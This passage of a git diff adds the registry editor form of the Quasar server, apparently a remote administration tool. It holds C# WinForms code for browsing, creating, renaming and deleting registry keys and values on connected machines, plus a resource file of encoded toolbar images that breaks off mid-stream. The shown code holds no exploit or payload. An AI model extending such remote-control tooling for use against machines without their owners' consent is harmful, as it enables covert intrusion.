= 1; i < nodePath.Length; i++) + { + lastNode = lastNode.Nodes[nodePath[i]]; + if (lastNode == null) + return null; + } + return lastNode; + } + + #endregion + + #region ListView helper functions + + private void CreateValue(object sender, string keyPath, RegValueData value) + { + TreeNode key = GetTreeNode(keyPath); + + if (key != null ) + { + List valuesFromNode = ((RegValueData[])key.Tag).ToList(); + valuesFromNode.Add(value); + key.Tag = valuesFromNode.ToArray(); + + if (tvRegistryDirectory.SelectedNode == key) + { + RegistryValueLstItem item = new RegistryValueLstItem(value); + lstRegistryValues.Items.Add(item); + //Unselect all + lstRegistryValues.SelectedIndices.Clear(); + item.Selected = true; + lstRegistryValues.LabelEdit = true; + item.BeginEdit(); + } + + tvRegistryDirectory.SelectedNode = key; + } + } + + private void DeleteValue(object sender, string keyPath, string valueName) + { + TreeNode key = GetTreeNode(keyPath); + + if (key != null) + { + if (!RegValueHelper.IsDefaultValue(valueName)) + { + //Remove the values that have the specified name + key.Tag = ((RegValueData[])key.Tag).Where(value => value.Name != valueName).ToArray(); + + if (tvRegistryDirectory.SelectedNode == key) + lstRegistryValues.Items.RemoveByKey(valueName); + } + else //Handle delete of default value + { + var regValue = ((RegValueData[])key.Tag).First(item => item.Name == valueName); + + if(tvRegistryDirectory.SelectedNode == key) + { + var valueItem = lstRegistryValues.Items.Cast() + .SingleOrDefault(item => item.Name == valueName); + if (valueItem != null) + valueItem.Data = regValue.Kind.RegistryTypeToString(null); + } + } + + tvRegistryDirectory.SelectedNode = key; + } + } + + private void RenameValue(object sender, string keyPath, string oldName, string newName) + { + TreeNode key = GetTreeNode(keyPath); + + if (key != null) + { + var value = ((RegValueData[])key.Tag).First(item => item.Name == oldName); + value.Name = newName; + + if (tvRegistryDirectory.SelectedNode == key) + { + var valueItem = lstRegistryValues.Items.Cast() + .SingleOrDefault(item => item.Name == oldName); + if (valueItem != null) + valueItem.RegName = newName; + } + + tvRegistryDirectory.SelectedNode = key; + } + } + + private void ChangeValue(object sender, string keyPath, RegValueData value) + { + TreeNode key = GetTreeNode(keyPath); + + if (key != null) + { + var regValue = ((RegValueData[])key.Tag).First(item => item.Name == value.Name); + ChangeRegistryValue(value, regValue); + + if (tvRegistryDirectory.SelectedNode == key) + { + var valueItem = lstRegistryValues.Items.Cast() + .SingleOrDefault(item => item.Name == value.Name); + if (valueItem != null) + valueItem.Data = RegValueHelper.RegistryValueToString(value); + } + + tvRegistryDirectory.SelectedNode = key; + } + } + + private void ChangeRegistryValue(RegValueData source, RegValueData dest) + { + if (source.Kind != dest.Kind) return; + dest.Data = source.Data; + } + + private void UpdateLstRegistryValues(TreeNode node) + { + selectedStripStatusLabel.Text = node.FullPath; + + RegValueData[] ValuesFromNode = (RegValueData[])node.Tag; + + PopulateLstRegistryValues(ValuesFromNode); + } + + private void PopulateLstRegistryValues(RegValueData[] values) + { + lstRegistryValues.BeginUpdate(); + lstRegistryValues.Items.Clear(); + + //Sort values + values = ( + from value in values + orderby value.Name ascending + select value + ).ToArray(); + + // Add items in batch for better performance + RegistryValueLstItem[] items = new RegistryValueLstItem[values.Length]; + for (int i = 0; i < values.Length; i++) + { + items[i] = new RegistryValueLstItem(values[i]); + } + + lstRegistryValues.Items.AddRange(items); + lstRegistryValues.EndUpdate(); + } + + #endregion + + #region tvRegistryDirectory actions + + private void tvRegistryDirectory_AfterLabelEdit(object sender, NodeLabelEditEventArgs e) + { + if (e.Label != null) + { + e.CancelEdit = true; + + if (e.Label.Length > 0) + { + if (e.Node.Parent.Nodes.ContainsKey(e.Label)) + { + MessageBox.Show("Invalid label. \nA node with that label already exists.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); + e.Node.BeginEdit(); + } + else + { + _registryHandler.RenameRegistryKey(e.Node.Parent.FullPath, e.Node.Name, e.Label); + tvRegistryDirectory.LabelEdit = false; + } + } + else + { + MessageBox.Show("Invalid label. \nThe label cannot be blank.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); + e.Node.BeginEdit(); + } + } + else + { + //Stop editing if no changes where made + tvRegistryDirectory.LabelEdit = false; + } + } + + private void tvRegistryDirectory_BeforeExpand(object sender, TreeViewCancelEventArgs e) + { + TreeNode parentNode = e.Node; + + // If nothing is there (yet). + if (string.IsNullOrEmpty(parentNode.FirstNode.Name)) + { + tvRegistryDirectory.SuspendLayout(); + parentNode.Nodes.Clear(); + + _registryHandler.LoadRegistryKey(parentNode.FullPath); + + tvRegistryDirectory.ResumeLayout(); + + e.Cancel = true; + } + } + + private void tvRegistryDirectory_NodeMouseClick(object sender, TreeNodeMouseClickEventArgs e) + { + if (e.Button == MouseButtons.Right) + { + //Bug fix with rightclick not working for selectednode + tvRegistryDirectory.SelectedNode = e.Node; + + //Display the context menu + Point pos = new Point(e.X, e.Y); + CreateTreeViewMenuStrip(); + tv_ContextMenuStrip.Show(tvRegistryDirectory, pos); + } + } + + private void tvRegistryDirectory_BeforeSelect(object sender, TreeViewCancelEventArgs e) + { + UpdateLstRegistryValues(e.Node); + } + + private void tvRegistryDirectory_KeyUp(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Delete && GetDeleteState()) + deleteRegistryKey_Click(this, e); + } + + #endregion + + #region ToolStrip and contextmenu helper functions + + private void CreateEditToolStrip() + { + this.modifyToolStripMenuItem1.Visible = + this.modifyBinaryDataToolStripMenuItem1.Visible = + this.modifyNewtoolStripSeparator.Visible = lstRegistryValues.Focused; + + this.modifyToolStripMenuItem1.Enabled = + this.modifyBinaryDataToolStripMenuItem1.Enabled = lstRegistryValues.SelectedItems.Count == 1; + + this.renameToolStripMenuItem2.Enabled = GetRenameState(); + this.deleteToolStripMenuItem2.Enabled = GetDeleteState(); + } + + private void CreateTreeViewMenuStrip() + { + this.renameToolStripMenuItem.Enabled = tvRegistryDirectory.SelectedNode.Parent != null; + + this.deleteToolStripMenuItem.Enabled = tvRegistryDirectory.SelectedNode.Parent != null; + } + + private void CreateListViewMenuStrip() + { + this.modifyToolStripMenuItem.Enabled = + this.modifyBinaryDataToolStripMenuItem.Enabled = lstRegistryValues.SelectedItems.Count == 1; + + this.renameToolStripMenuItem1.Enabled = lstRegistryValues.SelectedItems.Count == 1 && !RegValueHelper.IsDefaultValue(lstRegistryValues.SelectedItems[0].Name); + + this.deleteToolStripMenuItem1.Enabled = tvRegistryDirectory.SelectedNode != null && lstRegistryValues.SelectedItems.Count > 0; + } + + #endregion + + #region MenuStrip actions + + private void editToolStripMenuItem_DropDownOpening(object sender, EventArgs e) + { + CreateEditToolStrip(); + } + + private void menuStripExit_Click(object sender, EventArgs e) + { + this.Close(); + } + + private void menuStripDelete_Click(object sender, EventArgs e) { + if(tvRegistryDirectory.Focused) + { + deleteRegistryKey_Click(this, e); + } + else if (lstRegistryValues.Focused) + { + deleteRegistryValue_Click(this, e); + } + } + + private void menuStripRename_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.Focused) + { + renameRegistryKey_Click(this, e); + } + else if (lstRegistryValues.Focused) + { + renameRegistryValue_Click(this, e); + } + } + + #endregion + + #region lstRegistryKeys actions + + private void lstRegistryKeys_MouseClick(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.Right) + { + Point pos = new Point(e.X, e.Y); + + //Try to check if a item was clicked + if (lstRegistryValues.GetItemAt(pos.X, pos.Y) == null) + { + //Not on a item + lst_ContextMenuStrip.Show(lstRegistryValues, pos); + } + else + { + //Clicked on a item + CreateListViewMenuStrip(); + selectedItem_ContextMenuStrip.Show(lstRegistryValues, pos); + } + } + } + + private void lstRegistryKeys_AfterLabelEdit(object sender, LabelEditEventArgs e) + { + if (e.Label != null && tvRegistryDirectory.SelectedNode != null) + { + e.CancelEdit = true; + int index = e.Item; + + if (e.Label.Length > 0) + { + if (lstRegistryValues.Items.ContainsKey(e.Label)) + { + MessageBox.Show("Invalid label. \nA node with that label already exists.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); + lstRegistryValues.Items[index].BeginEdit(); + return; + } + + _registryHandler.RenameRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + lstRegistryValues.Items[index].Name, e.Label); + lstRegistryValues.LabelEdit = false; + } + else + { + MessageBox.Show("Invalid label. \nThe label cannot be blank.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); + lstRegistryValues.Items[index].BeginEdit(); + + } + } + else + { + lstRegistryValues.LabelEdit = false; + } + } + + private void lstRegistryKeys_KeyUp(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Delete && GetDeleteState()) + deleteRegistryValue_Click(this, e); + } + + #endregion + + #region ContextMenu + + private void createNewRegistryKey_Click(object sender, EventArgs e) + { + if (!(tvRegistryDirectory.SelectedNode.IsExpanded) && tvRegistryDirectory.SelectedNode.Nodes.Count > 0) + { + //Subscribe (wait for node to expand) + tvRegistryDirectory.AfterExpand += this.createRegistryKey_AfterExpand; + tvRegistryDirectory.SelectedNode.Expand(); + } + else + { + _registryHandler.CreateRegistryKey(tvRegistryDirectory.SelectedNode.FullPath); + } + } + + private void deleteRegistryKey_Click(object sender, EventArgs e) + { + // prompt user to confirm delete + string msg = "Are you sure you want to permanently delete this key and all of its subkeys?"; + string caption = "Confirm Key Delete"; + var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); + + if (answer == DialogResult.Yes) + { + string parentPath = tvRegistryDirectory.SelectedNode.Parent.FullPath; + + _registryHandler.DeleteRegistryKey(parentPath, tvRegistryDirectory.SelectedNode.Name); + } + } + + private void renameRegistryKey_Click(object sender, EventArgs e) + { + tvRegistryDirectory.LabelEdit = true; + tvRegistryDirectory.SelectedNode.BeginEdit(); + } + + #region New registry value actions + + private void createStringRegistryValue_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.SelectedNode != null) + { + // request the creation of a new Registry value of type REG_SZ + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.String); + } + } + + private void createBinaryRegistryValue_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.SelectedNode != null) + { + // request the creation of a new Registry value of type REG_BINARY + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.Binary); + } + } + + private void createDwordRegistryValue_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.SelectedNode != null) + { + // request the creation of a new Registry value of type REG_DWORD + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.DWord); + } + } + + private void createQwordRegistryValue_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.SelectedNode != null) + { + // request the creation of a new Registry value of type REG_QWORD + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.QWord); + } + } + + private void createMultiStringRegistryValue_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.SelectedNode != null) + { + // request the creation of a new Registry value of type REG_MULTI_SZ + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.MultiString); + } + } + + private void createExpandStringRegistryValue_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.SelectedNode != null) + { + // request the creation of a new Registry value of type REG_EXPAND_SZ + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.ExpandString); + } + } + + #endregion + + #region Registry value edit actions + + private void deleteRegistryValue_Click(object sender, EventArgs e) + { + //Prompt user to confirm delete + string msg = "Deleting certain registry values could cause system instability. Are you sure you want to permanently delete " + (lstRegistryValues.SelectedItems.Count == 1 ? "this value?": "these values?"); + string caption = "Confirm Value Delete"; + var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); + + if (answer == DialogResult.Yes) + { + foreach (var item in lstRegistryValues.SelectedItems) + { + if (item.GetType() == typeof(RegistryValueLstItem)) + { + RegistryValueLstItem registryValue = (RegistryValueLstItem) item; + _registryHandler.DeleteRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, registryValue.RegName); + } + } + } + } + + private void renameRegistryValue_Click(object sender, EventArgs e) + { + lstRegistryValues.LabelEdit = true; + lstRegistryValues.SelectedItems[0].BeginEdit(); + } + + private void modifyRegistryValue_Click(object sender, EventArgs e) + { + CreateEditForm(false); + } + + private void modifyBinaryDataRegistryValue_Click(object sender, EventArgs e) + { + CreateEditForm(true); + } + + #endregion + + #endregion + + private void createRegistryKey_AfterExpand(object sender, TreeViewEventArgs e) + { + if (e.Node == tvRegistryDirectory.SelectedNode) + { + createNewRegistryKey_Click(this, e); + + tvRegistryDirectory.AfterExpand -= createRegistryKey_AfterExpand; + } + } + + #region helper functions + + private bool GetDeleteState() + { + if (lstRegistryValues.Focused) + return lstRegistryValues.SelectedItems.Count > 0; + else if (tvRegistryDirectory.Focused && tvRegistryDirectory.SelectedNode != null) + return tvRegistryDirectory.SelectedNode.Parent != null; + return false; + } + + private bool GetRenameState() + { + if (lstRegistryValues.Focused) + return lstRegistryValues.SelectedItems.Count == 1 && !RegValueHelper.IsDefaultValue(lstRegistryValues.SelectedItems[0].Name); + else if (tvRegistryDirectory.Focused && tvRegistryDirectory.SelectedNode != null) + return tvRegistryDirectory.SelectedNode.Parent != null; + return false; + } + + private string[] _pendingNavigationPath = null; + private int _currentNavigationIndex = 0; + + private void btnNavigate_Click(object sender, EventArgs e) + { + NavigateToPath(txtSearchPath.Text); + } + + private void txtSearchPath_KeyDown(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Enter) + { + NavigateToPath(txtSearchPath.Text); + e.Handled = true; + e.SuppressKeyPress = true; + } + } + + private void NavigateToPath(string path) + { + if (string.IsNullOrWhiteSpace(path)) + return; + + path = path.Trim(); + + // Split the path into parts + string[] parts = path.Split(new char[] { '\\' }, StringSplitOptions.RemoveEmptyEntries); + + if (parts.Length == 0) + return; + + // Find the root node + TreeNode currentNode = null; + foreach (TreeNode node in tvRegistryDirectory.Nodes) + { + if (node.Name.Equals(parts[0], StringComparison.OrdinalIgnoreCase)) + { + currentNode = node; + break; + } + } + + if (currentNode == null) + { + MessageBox.Show($"Registry root key '{parts[0]}' not found.", "Navigation Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + // Start navigation from index 1 (skip root) + _pendingNavigationPath = parts; + _currentNavigationIndex = 1; + ContinueNavigation(currentNode); + } + + private void ContinueNavigation(TreeNode currentNode) + { + // Check if form is closing or navigation was cancelled + if (_pendingNavigationPath == null || this.IsDisposed || this.Disposing) + return; + + if (_currentNavigationIndex >= _pendingNavigationPath.Length) + { + // Navigation complete + _pendingNavigationPath = null; + tvRegistryDirectory.SelectedNode = currentNode; + currentNode.EnsureVisible(); + return; + } + + // Check if this node has unloaded children (dummy node) + if (currentNode.Nodes.Count == 1 && string.IsNullOrEmpty(currentNode.Nodes[0].Name)) + { + // Need to load this node's children + // The AddKeys handler will call ContinueNavigation when data arrives + tvRegistryDirectory.SuspendLayout(); + currentNode.Nodes.Clear(); + _registryHandler.LoadRegistryKey(currentNode.FullPath); + tvRegistryDirectory.ResumeLayout(); + + // Expand the node to trigger visual update + if (!currentNode.IsExpanded) + currentNode.Expand(); + + return; // Wait for AddKeys to continue + } + + // Find the next child node + string targetName = _pendingNavigationPath[_currentNavigationIndex]; + TreeNode childNode = null; + + foreach (TreeNode node in currentNode.Nodes) + { + if (node.Name.Equals(targetName, StringComparison.OrdinalIgnoreCase)) + { + childNode = node; + break; + } + } + + if (childNode == null) + { + // Path doesn't exist + string partialPath = string.Join("\\", _pendingNavigationPath, 0, _currentNavigationIndex + 1); + MessageBox.Show($"Registry path '{partialPath}' not found.", "Navigation Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + + _pendingNavigationPath = null; + tvRegistryDirectory.SelectedNode = currentNode; + currentNode.EnsureVisible(); + return; + } + + // Move to next level + _currentNavigationIndex++; + ContinueNavigation(childNode); + } + + private Form GetEditForm(RegValueData value, RegistryValueKind valueKind) + { + switch (valueKind) + { + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + return new FrmRegValueEditString(value); + case RegistryValueKind.DWord: + case RegistryValueKind.QWord: + return new FrmRegValueEditWord(value); + case RegistryValueKind.MultiString: + return new FrmRegValueEditMultiString(value); + case RegistryValueKind.Binary: + return new FrmRegValueEditBinary(value); + default: + return null; + } + } + + private void CreateEditForm(bool isBinary) + { + string keyPath = tvRegistryDirectory.SelectedNode.FullPath; + string name = lstRegistryValues.SelectedItems[0].Name; + RegValueData value = ((RegValueData[])tvRegistryDirectory.SelectedNode.Tag).ToList().Find(item => item.Name == name); + + // any kind can be edited as binary + RegistryValueKind kind = isBinary ? RegistryValueKind.Binary : value.Kind; + + using (var frm = GetEditForm(value, kind)) + { + if (frm.ShowDialog() == DialogResult.OK) + { + _registryHandler.ChangeRegistryValue(keyPath, (RegValueData) frm.Tag); + } + } + } + + #endregion + + private void lblSearch_Click(object sender, EventArgs e) + { + + } + + private void statusStrip_ItemClicked(object sender, ToolStripItemClickedEventArgs e) + { + + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegistryEditor.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegistryEditor.resx new file mode 100755 index 0000000..f4fb703 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegistryEditor.resx @@ -0,0 +1,769 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 126, 17 + + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w + LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm + BwAAAk1TRnQBSQFMAwEBAAFoAQUBaAEFARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA + AUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA + AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA + AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm + AwABmQMAAcwCAAEzAwACMwIAATMBZgIAATMBmQIAATMBzAIAATMB/wIAAWYDAAFmATMCAAJmAgABZgGZ + AgABZgHMAgABZgH/AgABmQMAAZkBMwIAAZkBZgIAApkCAAGZAcwCAAGZAf8CAAHMAwABzAEzAgABzAFm + AgABzAGZAgACzAIAAcwB/wIAAf8BZgIAAf8BmQIAAf8BzAEAATMB/wIAAf8BAAEzAQABMwEAAWYBAAEz + AQABmQEAATMBAAHMAQABMwEAAf8BAAH/ATMCAAMzAQACMwFmAQACMwGZAQACMwHMAQACMwH/AQABMwFm + AgABMwFmATMBAAEzAmYBAAEzAWYBmQEAATMBZgHMAQABMwFmAf8BAAEzAZkCAAEzAZkBMwEAATMBmQFm + AQABMwKZAQABMwGZAcwBAAEzAZkB/wEAATMBzAIAATMBzAEzAQABMwHMAWYBAAEzAcwBmQEAATMCzAEA + ATMBzAH/AQABMwH/ATMBAAEzAf8BZgEAATMB/wGZAQABMwH/AcwBAAEzAv8BAAFmAwABZgEAATMBAAFm + AQABZgEAAWYBAAGZAQABZgEAAcwBAAFmAQAB/wEAAWYBMwIAAWYCMwEAAWYBMwFmAQABZgEzAZkBAAFm + ATMBzAEAAWYBMwH/AQACZgIAAmYBMwEAA2YBAAJmAZkBAAJmAcwBAAFmAZkCAAFmAZkBMwEAAWYBmQFm + AQABZgKZAQABZgGZAcwBAAFmAZkB/wEAAWYBzAIAAWYBzAEzAQABZgHMAZkBAAFmAswBAAFmAcwB/wEA + AWYB/wIAAWYB/wEzAQABZgH/AZkBAAFmAf8BzAEAAcwBAAH/AQAB/wEAAcwBAAKZAgABmQEzAZkBAAGZ + AQABmQEAAZkBAAHMAQABmQMAAZkCMwEAAZkBAAFmAQABmQEzAcwBAAGZAQAB/wEAAZkBZgIAAZkBZgEz + AQABmQEzAWYBAAGZAWYBmQEAAZkBZgHMAQABmQEzAf8BAAKZATMBAAKZAWYBAAOZAQACmQHMAQACmQH/ + AQABmQHMAgABmQHMATMBAAFmAcwBZgEAAZkBzAGZAQABmQLMAQABmQHMAf8BAAGZAf8CAAGZAf8BMwEA + AZkBzAFmAQABmQH/AZkBAAGZAf8BzAEAAZkC/wEAAcwDAAGZAQABMwEAAcwBAAFmAQABzAEAAZkBAAHM + AQABzAEAAZkBMwIAAcwCMwEAAcwBMwFmAQABzAEzAZkBAAHMATMBzAEAAcwBMwH/AQABzAFmAgABzAFm + ATMBAAGZAmYBAAHMAWYBmQEAAcwBZgHMAQABmQFmAf8BAAHMAZkCAAHMAZkBMwEAAcwBmQFmAQABzAKZ + AQABzAGZAcwBAAHMAZkB/wEAAswCAALMATMBAALMAWYBAALMAZkBAAPMAQACzAH/AQABzAH/AgABzAH/ + ATMBAAGZAf8BZgEAAcwB/wGZAQABzAH/AcwBAAHMAv8BAAHMAQABMwEAAf8BAAFmAQAB/wEAAZkBAAHM + ATMCAAH/AjMBAAH/ATMBZgEAAf8BMwGZAQAB/wEzAcwBAAH/ATMB/wEAAf8BZgIAAf8BZgEzAQABzAJm + AQAB/wFmAZkBAAH/AWYBzAEAAcwBZgH/AQAB/wGZAgAB/wGZATMBAAH/AZkBZgEAAf8CmQEAAf8BmQHM + AQAB/wGZAf8BAAH/AcwCAAH/AcwBMwEAAf8BzAFmAQAB/wHMAZkBAAH/AswBAAH/AcwB/wEAAv8BMwEA + AcwB/wFmAQAC/wGZAQAC/wHMAQACZgH/AQABZgH/AWYBAAFmAv8BAAH/AmYBAAH/AWYB/wEAAv8BZgEA + ASEBAAGlAQADXwEAA3cBAAOGAQADlgEAA8sBAAOyAQAD1wEAA90BAAPjAQAD6gEAA/EBAAP4AQAB8AH7 + Af8BAAGkAqABAAOAAwAB/wIAAf8DAAL/AQAB/wMAAf8BAAH/AQAC/wIAA/+CAAEaAZkLUgEaMgABdAEb + ARoEmgV6AcMBUjIAAVIB9gGgApoDegRZAcMBUjIAAVIB9gHDAaACmgN6A1kBwwFSMgABUgH2AsMCoAGa + A3oCWQHDAVIyAAFSAv8D9gHDApoDegHDAVIyAAFSAfYCmgF6ARsG9gH/AVgyAAFYAfYDmgJ6ApoDegH2 + AVgyAAFYAfYDmgEaBvYB/wF5MgABWAX/AfYEeQKZARsyAAd5B//xAAFCAU0BPgcAAT4DAAEoAwABQAMA + ARADAAEBAQABAQUAAYAXAAP/AQAC/wYAAv8GAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGA + AQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAL/BgAC/wYAAv8GAAs= + + + + 323, 17 + + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w + LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk + CQAAAk1TRnQBSQFMAgEBAgEAAYgBBAGIAQQBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA + AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 + AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA + AWYDAAGZAwABzAIAATMDAAIzAgABMwFmAgABMwGZAgABMwHMAgABMwH/AgABZgMAAWYBMwIAAmYCAAFm + AZkCAAFmAcwCAAFmAf8CAAGZAwABmQEzAgABmQFmAgACmQIAAZkBzAIAAZkB/wIAAcwDAAHMATMCAAHM + AWYCAAHMAZkCAALMAgABzAH/AgAB/wFmAgAB/wGZAgAB/wHMAQABMwH/AgAB/wEAATMBAAEzAQABZgEA + ATMBAAGZAQABMwEAAcwBAAEzAQAB/wEAAf8BMwIAAzMBAAIzAWYBAAIzAZkBAAIzAcwBAAIzAf8BAAEz + AWYCAAEzAWYBMwEAATMCZgEAATMBZgGZAQABMwFmAcwBAAEzAWYB/wEAATMBmQIAATMBmQEzAQABMwGZ + AWYBAAEzApkBAAEzAZkBzAEAATMBmQH/AQABMwHMAgABMwHMATMBAAEzAcwBZgEAATMBzAGZAQABMwLM + AQABMwHMAf8BAAEzAf8BMwEAATMB/wFmAQABMwH/AZkBAAEzAf8BzAEAATMC/wEAAWYDAAFmAQABMwEA + AWYBAAFmAQABZgEAAZkBAAFmAQABzAEAAWYBAAH/AQABZgEzAgABZgIzAQABZgEzAWYBAAFmATMBmQEA + AWYBMwHMAQABZgEzAf8BAAJmAgACZgEzAQADZgEAAmYBmQEAAmYBzAEAAWYBmQIAAWYBmQEzAQABZgGZ + AWYBAAFmApkBAAFmAZkBzAEAAWYBmQH/AQABZgHMAgABZgHMATMBAAFmAcwBmQEAAWYCzAEAAWYBzAH/ + AQABZgH/AgABZgH/ATMBAAFmAf8BmQEAAWYB/wHMAQABzAEAAf8BAAH/AQABzAEAApkCAAGZATMBmQEA + AZkBAAGZAQABmQEAAcwBAAGZAwABmQIzAQABmQEAAWYBAAGZATMBzAEAAZkBAAH/AQABmQFmAgABmQFm + ATMBAAGZATMBZgEAAZkBZgGZAQABmQFmAcwBAAGZATMB/wEAApkBMwEAApkBZgEAA5kBAAKZAcwBAAKZ + Af8BAAGZAcwCAAGZAcwBMwEAAWYBzAFmAQABmQHMAZkBAAGZAswBAAGZAcwB/wEAAZkB/wIAAZkB/wEz + AQABmQHMAWYBAAGZAf8BmQEAAZkB/wHMAQABmQL/AQABzAMAAZkBAAEzAQABzAEAAWYBAAHMAQABmQEA + AcwBAAHMAQABmQEzAgABzAIzAQABzAEzAWYBAAHMATMBmQEAAcwBMwHMAQABzAEzAf8BAAHMAWYCAAHM + AWYBMwEAAZkCZgEAAcwBZgGZAQABzAFmAcwBAAGZAWYB/wEAAcwBmQIAAcwBmQEzAQABzAGZAWYBAAHM + ApkBAAHMAZkBzAEAAcwBmQH/AQACzAIAAswBMwEAAswBZgEAAswBmQEAA8wBAALMAf8BAAHMAf8CAAHM + Af8BMwEAAZkB/wFmAQABzAH/AZkBAAHMAf8BzAEAAcwC/wEAAcwBAAEzAQAB/wEAAWYBAAH/AQABmQEA + AcwBMwIAAf8CMwEAAf8BMwFmAQAB/wEzAZkBAAH/ATMBzAEAAf8BMwH/AQAB/wFmAgAB/wFmATMBAAHM + AmYBAAH/AWYBmQEAAf8BZgHMAQABzAFmAf8BAAH/AZkCAAH/AZkBMwEAAf8BmQFmAQAB/wKZAQAB/wGZ + AcwBAAH/AZkB/wEAAf8BzAIAAf8BzAEzAQAB/wHMAWYBAAH/AcwBmQEAAf8CzAEAAf8BzAH/AQAC/wEz + AQABzAH/AWYBAAL/AZkBAAL/AcwBAAJmAf8BAAFmAf8BZgEAAWYC/wEAAf8CZgEAAf8BZgH/AQAC/wFm + AQABIQEAAaUBAANfAQADdwEAA4YBAAOWAQADywEAA7IBAAPXAQAD3QEAA+MBAAPqAQAD8QEAA/gBAAHw + AfsB/wEAAaQCoAEAA4ADAAH/AgAB/wMAAv8BAAH/AwAB/wEAAf8BAAL/AgAD/0EAA+8DAATvAwAG7wMA + BO8DAAPvIAAB7wL/A+8E/wPvAv8C7wL/A+8E/wPvAv8B7yAAAe8O/wLvDv8B7yAAAQcD/wH0Bf8B9AT/ + Ae8BBwL/AawC/wHVAf8CrAEZAf8BrAL/Ae8gAAHwAf8BvQL5AeMBRwH/AUcBFwL5AZQC/wHvAfAC/wGs + Av8B1QH/AdUB9AHZAf8BrAL/Ae8gAAHwAf8BFgHjAf8BlAFHAf8BRwGUAv8B+QL/Ae8B8AL/AawB/wH0 + AdUB/wGsARkB2QEZAawC/wHvIAAB8AH/Ab0B+QIWARcB/wFHAb0C/wEXAb0B/wHvAfAB/wHTAawB/wHT + AawB/wHVAawB/wHTAawC/wHvIAAB8AP/Ab0B4wEXAf8BRwG9Av8BRwHzAf8B7wHwDv8B7yAAAfAC/wEX + Ab0B4wEWAf8BRwH5Ab0BlAEXAv8B7wHwAv8BrAH/AqwBGQH/AdMB/wHTAawC/wHvIAAB8AH0Af8BvQKU + Av8BRwG9ApQD/wHvAfAB9AH/AawB/wGsAf8BrAH/AdMBGQHVARkB1QH/Ae8gAAHwAfQG/wFHAb0B/wXv + AfAB9AH/AawB/wGsAf8B1QEZAdMB9AXvIAAB8AL0Bf8BRwG9Af8B7wHxAfMB9AHvAfAB9AHTAawB/wHc + 